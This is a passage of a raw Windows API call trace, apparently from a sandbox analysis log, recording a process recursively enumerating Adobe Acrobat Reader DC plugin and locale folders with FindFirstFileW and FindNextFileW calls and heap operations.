nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.154] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x661, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.155] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x661, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.155] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0256.155] GetProcessHeap () returned 0xc10000 [0256.155] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.155] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0256.155] GetProcessHeap () returned 0xc10000 [0256.155] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0256.156] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.156] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.156] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.156] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0256.157] GetProcessHeap () returned 0xc10000 [0256.157] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.157] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0256.157] GetProcessHeap () returned 0xc10000 [0256.157] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0256.158] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.158] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.159] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.159] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0256.159] GetProcessHeap () returned 0xc10000 [0256.159] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.159] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0256.159] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0256.159] GetProcessHeap () returned 0xc10000 [0256.159] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0256.159] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0256.160] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0256.160] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0256.160] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.160] GetProcessHeap () returned 0xc10000 [0256.160] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0256.160] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0256.160] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.160] GetProcessHeap () returned 0xc10000 [0256.160] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0256.162] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1 [0256.163] GetProcessHeap () returned 0xc10000 [0256.163] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0256.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0256.165] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.165] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0256.165] GetProcessHeap () returned 0xc10000 [0256.165] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0256.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0256.167] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.167] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x645, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0256.167] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0256.167] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0256.167] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0256.168] GetProcessHeap () returned 0xc10000 [0256.168] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0256.168] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0256.168] GetProcessHeap () returned 0xc10000 [0256.168] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0256.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0256.169] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.169] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0256.169] GetProcessHeap () returned 0xc10000 [0256.169] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0256.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0256.179] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.179] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0256.179] GetProcessHeap () returned 0xc10000 [0256.179] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.182] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.182] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.182] GetProcessHeap () returned 0xc10000 [0256.182] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.182] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0256.183] GetProcessHeap () returned 0xc10000 [0256.183] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.184] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.184] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, 